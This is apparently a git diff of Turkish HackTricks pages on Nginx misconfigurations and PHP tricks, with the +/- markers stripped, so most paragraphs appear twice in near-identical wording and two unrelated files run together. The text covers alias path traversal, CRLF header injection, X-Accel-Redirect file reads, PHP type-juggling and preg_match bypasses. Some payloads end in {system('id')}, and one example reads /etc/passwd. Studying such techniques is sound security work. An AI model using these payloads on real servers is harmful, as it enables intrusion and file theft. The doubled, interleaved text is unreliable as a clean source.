## Eksik kök konumu <a href="#missing-root-location" id="missing-root-location"></a>
Nginx sunucusunu yapılandırırken, **root direktifi** dosyaların sunulduğu temel dizini tanımlayarak kritik bir rol oynar. Aşağıdaki örneği dikkate alın:
Nginx sunucusunu yapılandırırken, **root direktifi** dosyaların sunulduğu temel dizini tanımlayarak kritik bir rol oynar. Aşağıdaki örneği düşünün:
```bash
server {
root /etc/nginx;
@ -34,19 +36,19 @@ proxy_pass http://127.0.0.1:8080/;
}
}
```
Bu yapılandırmada, `/etc/nginx` kök dizin olarak belirlenmiştir. Bu ayar, `/hello.txt` gibi belirtilen kök dizin içindeki dosyalara erişim sağlar. Ancak, yalnızca belirli bir konum (`/hello.txt`) tanımlandığını not etmek önemlidir. Kök konumu için bir yapılandırma yoktur (`location / {...}`). Bu eksiklik, kök direktifinin küresel olarak uygulanması anlamına gelir ve kök yolu `/` için yapılan isteklerin `/etc/nginx` altındaki dosyalara erişmesine olanak tanır.
Bu yapılandırmada, `/etc/nginx` kök dizin olarak belirlenmiştir. Bu ayar, `/hello.txt` gibi belirtilen kök dizin içindeki dosyalara erişim sağlar. Ancak, yalnızca belirli bir konum (`/hello.txt`) tanımlandığını belirtmek önemlidir. Kök konumu için bir yapılandırma yoktur (`location / {...}`). Bu eksiklik, kök direktifinin küresel olarak uygulanması anlamına gelir ve kök yolu `/` altındaki dosyalara erişim sağlar.
Bu yapılandırmadan kaynaklanan kritik bir güvenlik dikkati vardır. `GET /nginx.conf` gibi basit bir `GET` isteği, `/etc/nginx/nginx.conf` konumundaki Nginx yapılandırma dosyasını sunarak hassas bilgileri açığa çıkarabilir. Kökü daha az hassas bir dizine, örneğin `/etc` olarak ayarlamak bu riski azaltabilir, ancak yine de diğer kritik dosyalara, diğer yapılandırma dosyalarına, erişim günlüklerine ve hatta HTTP temel kimlik doğrulaması için kullanılan şifrelenmiş kimlik bilgilerine istenmeyen erişime izin verebilir.
Bu yapılandırmadan kaynaklanan kritik bir güvenlik dikkati vardır. `GET /nginx.conf` gibi basit bir `GET` isteği, `/etc/nginx/nginx.conf` konumundaki Nginx yapılandırma dosyasını sunarak hassas bilgileri açığa çıkarabilir. Kökü daha az hassas bir dizine, örneğin `/etc` olarak ayarlamak bu riski azaltabilir, ancak yine de diğer kritik dosyalara, diğer yapılandırma dosyalarına, erişim günlüklerine ve hatta HTTP temel kimlik doğrulaması için kullanılan şifrelenmiş kimlik bilgilerine istenmeyen erişim izni verebilir.
## Alias LFI Yanlış Yapılandırması <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
Nginx yapılandırma dosyalarında, "location" direktifleri için dikkatli bir inceleme gereklidir. Aşağıdaki gibi bir yapılandırma aracılığıyla istemeden Yerel Dosya Dahil Etme (LFI) olarak bilinen bir zafiyet tanıtılabilir:
Nginx yapılandırma dosyalarında, "location" direktifleri için dikkatli bir inceleme gereklidir. Yerel Dosya Dahil Etme (LFI) olarak bilinen bir zafiyet, aşağıdaki gibi bir yapılandırma aracılığıyla istemeden tanıtılabilir:
```
location /imgs {
alias /path/images/;
}
```
Bu yapılandırma, sunucunun `/imgs../flag.txt` gibi istekleri, hedef dizin dışındaki dosyalara erişim girişimi olarak yorumlaması nedeniyle LFI saldırılarına açıktır ve bu da `/path/images/../flag.txt` olarak çözülmektedir. Bu hata, saldırganların web üzerinden erişilememesi gereken dosyaları sunucunun dosya sisteminden almasına olanak tanır.
Bu yapılandırma, sunucunun `/imgs../flag.txt` gibi istekleri, hedef dizinin dışındaki dosyalara erişim girişimi olarak yorumlaması nedeniyle LFI saldırılarına açıktır ve bu da `/path/images/../flag.txt` olarak çözülmektedir. Bu hata, saldırganların web üzerinden erişilememesi gereken dosyaları sunucunun dosya sisteminden almasına olanak tanır.
Bu güvenlik açığını azaltmak için yapılandırma şu şekilde ayarlanmalıdır:
```
@ -66,7 +68,7 @@ alias../ => HTTP status code 403
```
## Güvensiz yol kısıtlaması <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
Aşağıdaki sayfayı kontrol edin, şu gibi direktifleri nasıl atlayacağınızı öğrenin:
Aşağıdaki sayfayı kontrol ederek şu gibi direktifleri nasıl atlayacağınızı öğrenin:
```plaintext
location = /admin {
deny all;
@ -85,7 +87,7 @@ deny all;
{% hint style="danger" %}
Zayıf değişkenler `$uri` ve `$document_uri` ve bunlar `$request_uri` ile değiştirilerek düzeltilebilir.
Bir regex de zayıf olabilir:
Bir regex de şu şekilde zayıf olabilir:
`location ~ /docs/([^/])? { … $1 … }` - Zayıf&#x20;
@ -100,7 +102,7 @@ location / {
return 302 https://example.com$uri;
}
```
HTTP isteklerinde \r (Carriage Return) ve \n (Line Feed) karakterleri yeni satır karakterlerini belirtir ve URL kodlu formları `%0d%0a` olarak temsil edilir. Bu karakterleri yanlış yapılandırılmış bir sunucuya yapılan bir isteğe (örneğin, `http://localhost/%0d%0aDetectify:%20clrf`) dahil etmek, sunucunun `Detectify` adında yeni bir başlık oluşturmasına neden olur. Bu, $uri değişkeninin URL kodlu yeni satır karakterlerini çözmesi nedeniyle gerçekleşir ve yanıt içinde beklenmedik bir başlık oluşur:
HTTP isteklerinde \r (Carriage Return) ve \n (Line Feed) karakterleri yeni satır karakterlerini belirtir ve URL kodlu formları `%0d%0a` olarak temsil edilir. Bu karakterleri yanlış yapılandırılmış bir sunucuya yapılan bir isteğe (örneğin, `http://localhost/%0d%0aDetectify:%20clrf`) dahil etmek, sunucunun `Detectify` adında yeni bir başlık oluşturmasına neden olur. Bu, $uri değişkeninin URL kodlu yeni satır karakterlerini çözmesi nedeniyle gerçekleşir ve yanıt içinde beklenmeyen bir başlık oluşur:
```
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
@ -126,13 +128,13 @@ Diğer tespit örnekleri şunlar olabilir:
O konuşmada sunulan bazı savunmasız yapılandırmalar şunlardı:
* **`$uri`**'nin son URL'de olduğu gibi ayarlandığına dikkat edin.
* **`$uri`**'nin son URL'de olduğu gibi ayarlandığını not edin.
```
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
```
* Dikkat edin ki yine **`$uri`** URL'de (bu sefer bir parametre içinde) bulunmaktadır.
* Tekrar **`$uri`**'nin URL'de (bu sefer bir parametre içinde) olduğunu not edin.
```
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
@ -146,13 +148,13 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
```
### Herhangi bir değişken
**Kullanıcı tarafından sağlanan verilerin**, belirli koşullar altında **Nginx değişkeni** olarak ele alınabileceği keşfedilmiştir. Bu davranışın nedeni biraz belirsiz kalmakta, ancak nadir ya da doğrulaması basit değildir. Bu anomali, HackerOne'da yayınlanan bir güvenlik raporunda vurgulanmıştır, [buradan](https://hackerone.com/reports/370094) görüntülenebilir. Hata mesajı üzerindeki daha fazla araştırma, bunun [Nginx'in kod tabanındaki SSI filtre modülünde](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) meydana geldiğini belirlemiş ve Sunucu Tarafı Dahil Etmelerin (SSI) kök neden olduğunu ortaya çıkarmıştır.
**Kullanıcı tarafından sağlanan verilerin**, belirli koşullar altında **Nginx değişkeni** olarak işlenebileceği keşfedilmiştir. Bu davranışın nedeni biraz belirsiz kalmakla birlikte, nadir ya da doğrulaması basit değildir. Bu anomali, HackerOne'da yayınlanan bir güvenlik raporunda vurgulanmıştır, [buradan](https://hackerone.com/reports/370094) görüntülenebilir. Hata mesajı üzerindeki daha fazla araştırma, bunun [Nginx'in kod tabanındaki SSI filtre modülünde](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365) meydana geldiğini belirlemiş ve Sunucu Tarafı Dahil Etmelerin (SSI) temel neden olduğunu ortaya koymuştur.
Bu **yanlış yapılandırmayı tespit etmek** için, değişken yazdırmasını test etmek amacıyla bir referer başlığı ayarlamayı içeren aşağıdaki komut çalıştırılabilir:
```bash
$ curl -H Referer: bar http://localhost/foo$http_referer | grep foobar
```
Bu yanlış yapılandırmanın sistemler arasında taranması, bir kullanıcının Nginx değişkenlerini yazdırabileceği birden fazla örneği ortaya çıkardı. Ancak, savunmasız örneklerin sayısındaki azalma, bu sorunu düzeltme çabalarının bir ölçüde başarılı olduğunu göstermektedir.
Bu yanlış yapılandırma için sistemler arasında yapılan taramalar, bir kullanıcının Nginx değişkenlerini yazdırabileceği birden fazla örneği ortaya çıkardı. Ancak, savunmasız örneklerin sayısındaki azalma, bu sorunu düzeltme çabalarının bir ölçüde başarılı olduğunu göstermektedir.
## Ham arka uç yanıtı okuma
@ -172,14 +174,14 @@ proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
```
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Bu direktif, Nginx'in 300'den büyük durum kodlarına sahip arka uç yanıtları için özel bir yanıt sunmasını sağlar. Örneğimizdeki uWSGI uygulaması için, `500 Hatası` yanıtının Nginx tarafından yakalanıp işlenmesini garanti eder.
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Bu direktif, Nginx'in 300'den büyük bir durum koduna sahip arka uç yanıtları için özel bir yanıt sunmasını sağlar. Örneğimizdeki uWSGI uygulaması için, `500 Hatası` yanıtının Nginx tarafından yakalanıp işlenmesini garanti eder.
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Adından da anlaşılacağı gibi, bu direktif belirtilen HTTP başlıklarını istemciden gizler, gizliliği ve güvenliği artırır.
Geçerli bir `GET` isteği yapıldığında, Nginx bunu normal şekilde işler ve herhangi bir gizli başlık ifşa etmeden standart bir hata yanıtı döner. Ancak, geçersiz bir HTTP isteği bu mekanizmayı atlayarak, gizli başlıklar ve hata mesajları da dahil olmak üzere ham arka uç yanıtlarının ifşasına neden olur.
## merge\_slashes kapalı
Varsayılan olarak, Nginx'in **`merge_slashes` direktifi** **`açık`** olarak ayarlanmıştır; bu, bir URL'deki birden fazla ileri eğik çizgiyi tek bir eğik çizgiye sıkıştırır. Bu özellik, URL işleme sürecini kolaylaştırırken, Nginx'in arkasındaki uygulamalardaki zayıflıkları, özellikle yerel dosya dahil etme (LFI) saldırılarına yatkın olanları, yanlışlıkla gizleyebilir. Güvenlik uzmanları **Danny Robinson ve Rotem Bar**, Nginx'in ters proxy olarak hareket ettiği durumlarda bu varsayılan davranışla ilişkili potansiyel riskleri vurgulamışlardır.
Varsayılan olarak, Nginx'in **`merge_slashes` direktifi** **`açık`** olarak ayarlanmıştır; bu, bir URL'deki birden fazla ileri eğik çizgiyi tek bir eğik çizgiye sıkıştırır. Bu özellik, URL işleme sürecini kolaylaştırırken, Nginx'in arkasındaki uygulamalardaki, özellikle yerel dosya dahil etme (LFI) saldırılarına yatkın olanların, zayıflıklarını yanlışlıkla gizleyebilir. Güvenlik uzmanları **Danny Robinson ve Rotem Bar**, Nginx'in ters proxy olarak hareket ettiği durumlarda bu varsayılan davranışla ilişkili potansiyel riskleri vurgulamışlardır.
Bu tür riskleri azaltmak için, bu zayıflıklara duyarlı uygulamalar için **`merge_slashes` direktifini kapatmak** önerilir. Bu, Nginx'in URL yapısını değiştirmeden uygulamaya istekleri iletmesini sağlar ve böylece temel güvenlik sorunlarını gizlemez.
@ -192,14 +194,14 @@ Daha fazla bilgi için [Danny Robinson ve Rotem Bar](https://medium.com/appsflye
* `X-Accel-Redirect`: Nginx'e bir isteği belirtilen bir konuma dahili olarak yönlendirmesini belirtir.
* `X-Accel-Buffering`: Nginx'in yanıtı tamponlayıp tamponlamayacağını kontrol eder.
* `X-Accel-Charset`: X-Accel-Redirect kullanıldığında yanıt için karakter setini ayarlar.
* `X-Accel-Expires`: X-Accel-Redirect kullanıldığında yanıt için son kullanma süresini ayarlar.
* `X-Accel-Expires`: X-Accel-Redirect kullanıldığında yanıtın son kullanma süresini ayarlar.
* `X-Accel-Limit-Rate`: X-Accel-Redirect kullanıldığında yanıtlar için transfer hızını sınırlar.
Örneğin, **`X-Accel-Redirect`** başlığı, nginx'de dahili bir **yönlendirme** oluşturur. Yani, **`root /`** gibi bir nginx yapılandırmasına sahip olmak ve web sunucusundan **`X-Accel-Redirect: .env`** ile bir yanıt almak, nginx'in **`/.env`** içeriğini göndermesine neden olacaktır (Path Traversal).
Örneğin, **`X-Accel-Redirect`** başlığı, nginx'de dahili bir **yönlendirme** oluşturacaktır. Yani, **`root /`** gibi bir nginx yapılandırmasına sahip olmak ve web sunucusundan **`X-Accel-Redirect: .env`** ile bir yanıt almak, nginx'in **`/.env`** içeriğini göndermesine neden olacaktır (Path Traversal).
### **Map Direktifinde Varsayılan Değer**
**Nginx yapılandırmasında**, `map` direktifi genellikle **yetkilendirme kontrolü** rolü oynar. Yaygın bir hata, **varsayılan** bir değer belirtmemektir; bu, yetkisiz erişime yol açabilir. Örneğin:
**Nginx yapılandırmasında**, `map` direktifi genellikle **yetkilendirme kontrolü** rolü oynar. Yaygın bir hata, **varsayılan** bir değer belirtmemektir; bu da yetkisiz erişime yol açabilir. Örneğin:
```yaml
http {
map $uri $mappocallow {
@ -222,13 +224,13 @@ return 200 "Hello. It is private area: $mappocallow";
### **DNS Spoofing Açığı**
Nginx'e karşı DNS spoofing belirli koşullar altında mümkündür. Eğer bir saldırgan Nginx tarafından kullanılan **DNS sunucusunu** biliyorsa ve DNS sorgularını kesebiliyorsa, DNS kayıtlarını sahteleyebilir. Ancak, Nginx **localhost (127.0.0.1)** kullanacak şekilde yapılandırılmışsa, bu yöntem etkisizdir. Nginx, bir DNS sunucusunu aşağıdaki gibi belirtmeye izin verir:
Nginx'e karşı DNS spoofing belirli koşullar altında mümkündür. Eğer bir saldırgan Nginx tarafından kullanılan **DNS sunucusunu** biliyorsa ve DNS sorgularını kesebiliyorsa, DNS kayıtlarını sahteleyebilir. Ancak bu yöntem, Nginx'in DNS çözümü için **localhost (127.0.0.1)** kullanacak şekilde yapılandırılması durumunda etkisizdir. Nginx, bir DNS sunucusunu aşağıdaki gibi belirtmeye izin verir:
```yaml
resolver 8.8.8.8;
```
### **`proxy_pass` ve `internal` Direktifleri**
**`proxy_pass`** direktifi, istekleri diğer sunuculara, ister dahili ister harici olarak yönlendirmek için kullanılır. **`internal`** direktifi, belirli konumların yalnızca Nginx içinde erişilebilir olmasını sağlar. Bu direktifler kendileri bir zafiyet olmasa da, yapılandırmaları güvenlik açıklarını önlemek için dikkatli bir şekilde incelenmelidir.
**`proxy_pass`** direktifi, istekleri diğer sunuculara, ister dahili ister harici olarak yönlendirmek için kullanılır. **`internal`** direktifi, belirli konumların yalnızca Nginx içinde erişilebilir olmasını sağlar. Bu direktifler kendiliğinden bir zafiyet oluşturmasa da, yapılandırmaları dikkatli bir şekilde incelenmelidir, aksi takdirde güvenlik açıklarına yol açabilir.
## proxy\_set\_header Upgrade & Connection
@ -286,7 +288,9 @@ Nginxpwner, yaygın Nginx yanlış yapılandırmalarını ve güvenlik açıklar
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Zafiyet değerlendirmesi ve penetrasyon testi için anında kullanılabilir kurulum**. 20'den fazla araç ve özellik ile her yerden tam bir pentest gerçekleştirin; bu araçlar keşiften raporlamaya kadar uzanır. Biz pentester'ların yerini almıyoruz - onlara daha derinlemesine araştırma yapmaları, shell'leri patlatmaları ve eğlenmeleri için biraz zaman kazandırmak amacıyla özel araçlar, tespit ve istismar modülleri geliştiriyoruz.
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, yetki yükseltmenize izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -299,8 +303,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub depolarına PR gönderin.
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
</details>
{% endhint %}

View file

@ -1,8 +1,8 @@
# PHP Tricks
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,9 +15,13 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
</details>
{% endhint %}
<figure><img src="../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Çerezlerin yaygın konumu:
@ -48,10 +52,10 @@ PHP karşılaştırma tabloları: [https://www.php.net/manual/en/types.compariso
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
* `"string" == 0 -> True` Sayı ile başlamayan bir dize, bir sayıya eşittir
* `"0xAAAA" == "43690" -> True` Onaltılık veya ondalık formatta sayılardan oluşan dizeler, sayılar aynıysa diğer sayılar/dizeler ile True sonucu verecek şekilde karşılaştırılabilir (bir dizideki sayılar sayı olarak yorumlanır)
* `"0xAAAA" == "43690" -> True` Onaltılık veya ondalık formatta sayılardan oluşan dizeler, sayılar aynıysa diğer sayılar/dizeler ile True sonucu verecek şekilde karşılaştırılabilir (bir dizedeki sayılar sayılar olarak yorumlanır)
* `"0e3264578" == 0 --> True` "0e" ile başlayan ve ardından herhangi bir şey gelen bir dize, 0'a eşit olacaktır
* `"0X3264578" == 0X --> True` "0" ile başlayan ve ardından herhangi bir harf (X herhangi bir harf olabilir) ve ardından herhangi bir şey gelen bir dize, 0'a eşit olacaktır
* `"0e12334" == "0" --> True` Bu çok ilginçtir çünkü bazı durumlarda "0" dizesinin girdiğini ve bununla karşılaştırılan bir içeriği kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlatabilirsiniz. Bu formatta **zaten hashlenmiş dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"0e12334" == "0" --> True` Bu çok ilginçtir çünkü bazı durumlarda "0" dizisinin girdiğini ve bununla karşılaştırılan bir içeriği kontrol edebilirsiniz. Bu nedenle, "0e" ile başlayan ve herhangi bir harf içermeyen bir hash oluşturacak bir değer sağlayabilirseniz, karşılaştırmayı atlatabilirsiniz. Bu formatta **zaten hashlenmiş dizeleri** burada bulabilirsiniz: [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
* `"X" == 0 --> True` Bir dizideki herhangi bir harf, int 0'a eşittir
Daha fazla bilgi için [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
@ -79,7 +83,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
### Katı Tür Dönüşümü
`===` **kullanılıyor olsa bile**, **karşılaştırmayı** **tip dönüşümüne** **duyarlı** hale getiren hatalar olabilir. Örneğin, eğer karşılaştırma **karşılaştırmadan önce veriyi farklı bir tür nesneye dönüştürüyorsa**:
`===` **kullanılıyor olsa bile**, **karşılaştırmayı zayıf hale getiren** hatalar olabilir. Örneğin, eğer karşılaştırma **karşılaştırmadan önce veriyi farklı bir tür nesneye dönüştürüyorsa**:
```php
(int) "1abc" === (int) "1xyz" //This will be true
```
@ -89,7 +93,7 @@ if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real
#### Yeni satır atlatma
Ancak, regexp'nin başlangıcını belirlerken `preg_match()` **kullanıcı girişinin sadece ilk satırını kontrol eder**, bu nedenle eğer bir şekilde girişi **birden fazla satırda** **gönderebilirseniz**, bu kontrolü atlatabilirsiniz. Örnek:
Ancak, regexp'nin başlangıcını belirlerken `preg_match()` **kullanıcı girişinin sadece ilk satırını kontrol eder**, eğer bir şekilde girişi **birden fazla satırda** **gönderebilirseniz**, bu kontrolü atlatabilirsiniz. Örnek:
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -102,18 +106,18 @@ echo preg_match("/^.*1/",$myinput);
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
```
Bu kontrolü atlamak için **değerleri yeni satırlarla urlencoded olarak gönderebilirsiniz** (`%0A`) veya **JSON verisi** gönderebiliyorsanız, bunu **birkaç satırda** gönderin:
Bu kontrolü atlamak için **değerleri yeni satırlarla urlencoded** (`%0A`) gönderebilir veya **JSON verisi** gönderebiliyorsanız, bunu **birkaç satırda** gönderebilirsiniz:
```php
{
"cmd": "cat /etc/passwd"
}
```
Find an example here: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
Bir örneği burada bulabilirsiniz: [https://ramadistra.dev/fbctf-2019-rceservice](https://ramadistra.dev/fbctf-2019-rceservice)
#### **Uzunluk hatası atlatma**
(Bu atlatma, görünüşe göre PHP 5.2.5 üzerinde denendi ve PHP 7.3.15 üzerinde çalıştıramadım)\
Eğer `preg_match()`'e geçerli çok **büyük bir girdi** gönderebilirseniz, **işleyemeyecek** ve kontrolü **atlatabileceksiniz**. Örneğin, bir JSON'u kara listeye alıyorsa şunu gönderebilirsiniz:
(Bu atlatma, görünüşe göre PHP 5.2.5 üzerinde denendi ve PHP 7.3.15 üzerinde çalıştırmayı başaramadım)\
`preg_match()`'e geçerli çok **büyük bir girdi** gönderebilirseniz, **işleyemeyecek** ve kontrolü **atlatabileceksiniz**. Örneğin, bir JSON'u kara listeye alıyorsa, şunu gönderebilirsiniz:
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
@ -125,13 +129,13 @@ Trick from: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-
<figure><img src="../../../.gitbook/assets/image (26).png" alt=""><figcaption></figcaption></figure>
Kısacası, sorun PHP'deki `preg_*` fonksiyonlarının [PCRE kütüphanesi](http://www.pcre.org/) üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyineleme sayısı için bir sınır belirlemek mümkündür, ancak PHP'de bu sınır [varsayılan olarak 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) olup, bu yığında sığacak olandan fazladır.
Kısacası, sorun `preg_*` fonksiyonlarının PHP'de [PCRE kütüphanesi](http://www.pcre.org/) üzerine inşa edilmesinden kaynaklanıyor. PCRE'de belirli düzenli ifadeler, çok sayıda özyinelemeli çağrı kullanılarak eşleştirilir, bu da çok fazla yığın alanı kullanır. İzin verilen özyinelemelerin sayısına bir sınır koymak mümkündür, ancak PHP'de bu sınır [varsayılan olarak 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) olup, bu yığında sığacak olandan fazladır.
[Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz şimdi açıktı:\
**Regex'in 100\_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesine neden olacak ve böylece uygulamanın girdimizin kötü niyetli olmadığını düşünmesini sağlayacak, yükün sonunda `{system(<verybadcommand>)}` gibi bir sürpriz atarak SSTI --> RCE --> flag :)**.
[Bu Stackoverflow başlığı](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) da bu konunun daha derinlemesine tartışıldığı gönderide bağlantılıydı. Görevimiz artık netti:\
**Regex'in 100\_000+ özyineleme yapmasını sağlayacak bir girdi gönderin, bu da SIGSEGV'ye neden olacak, `preg_match()` fonksiyonunun `false` döndürmesini sağlayacak ve böylece uygulamanın girdimizin kötü niyetli olmadığını düşünmesine neden olacak, yükün sonunda `{system(<verybadcommand>)}` gibi bir sürpriz atarak SSTI --> RCE --> flag :) elde etmek.**
Aslında regex terimleriyle, 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, bu da [PHP belgelerinde](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) belirtildiği gibi `pcre.backtrack_limit` değişkeninde varsayılan olarak 1\_000\_000 (1M) olarak ayarlanmıştır.\
Buna ulaşmak için, `'X'*500_001` 1 milyon geri izleme adımına (500k ileri ve 500k geri) neden olacaktır:
Regex terimleriyle, aslında 100k "özyineleme" yapmıyoruz, bunun yerine "geri izleme adımlarını" sayıyoruz, ki [PHP belgeleri](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) bunun `pcre.backtrack_limit` değişkeninde varsayılan olarak 1\_000\_000 (1M) olduğunu belirtmektedir.\
Buna ulaşmak için, `'X'*500_001` 1 milyon geri izleme adımına (500k ileri ve 500k geri) yol açacaktır:
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
@ -158,7 +162,7 @@ header('Location: /index.php?page=default.html');
readfile($page);
?>
```
## Path Traversal ve Dosya Dahil Etme İstismarı
## Path Traversal ve Dosya Dahil Etme Sömürüsü
Kontrol et:
@ -171,13 +175,13 @@ Kontrol et:
* **register\_globals**: **PHP < 4.1.1.1**'de veya yanlış yapılandırıldığında, **register\_globals** aktif olabilir (veya davranışları taklit ediliyor olabilir). Bu, $\_GET gibi global değişkenlerde bir değer varsa örneğin $\_GET\["param"]="1234", **$param üzerinden erişebileceğiniz anlamına gelir. Bu nedenle, HTTP parametreleri göndererek, kod içinde kullanılan değişkenleri** geçersiz kılabilirsiniz.
* **Aynı alanın PHPSESSION çerezleri aynı yerde saklanır**, bu nedenle bir alanda **farklı çerezler farklı yollarla kullanılıyorsa**, bir yolun **diğer yolun çerezine erişmesini** sağlayabilirsiniz ve diğer yol çerezinin değerini ayarlayabilirsiniz.\
Bu şekilde, eğer **her iki yol da aynı isimde bir değişkene erişiyorsa**, **o değişkenin path1'deki değeri path2'ye uygulanabilir**. Ve ardından path2, path1'in değişkenlerini geçerli kabul edecektir (çereze path2'deki karşılık gelen ismi vererek).
* Makinenin kullanıcılarının **kullanıcı adlarını** aldığınızda, php dizinlerinin etkin olup olmadığını görmek için adresi kontrol edin: **/\~\<USERNAME>**.
* Makinenin kullanıcılarının **kullanıcı adlarını** aldığınızda, php dizinlerinin etkin olup olmadığını kontrol etmek için adresi kontrol edin: **/\~\<USERNAME>**.
* [**LFI ve RCE php sarmalayıcıları kullanarak**](../../../pentesting-web/file-inclusion/)
### password\_hash/password\_verify
